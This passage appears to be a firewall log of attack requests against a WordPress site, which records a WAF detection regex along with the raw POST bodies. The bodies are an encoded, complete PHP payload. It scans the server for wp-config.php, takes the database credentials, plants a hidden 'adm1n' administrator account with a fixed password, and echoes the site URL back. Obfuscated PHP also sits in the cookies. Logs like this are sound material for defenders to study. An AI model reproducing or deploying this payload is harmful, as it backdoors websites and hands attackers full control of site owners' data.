%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:12640\ncookie:4=8daaffd16fd7c7835307f0d6af9d1696; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqRZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\n\ntC=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 05:30:58","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> TP:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:12640\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=8b80dc9ac74ec10112f02e5d68c79df0; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvISNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nTP=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%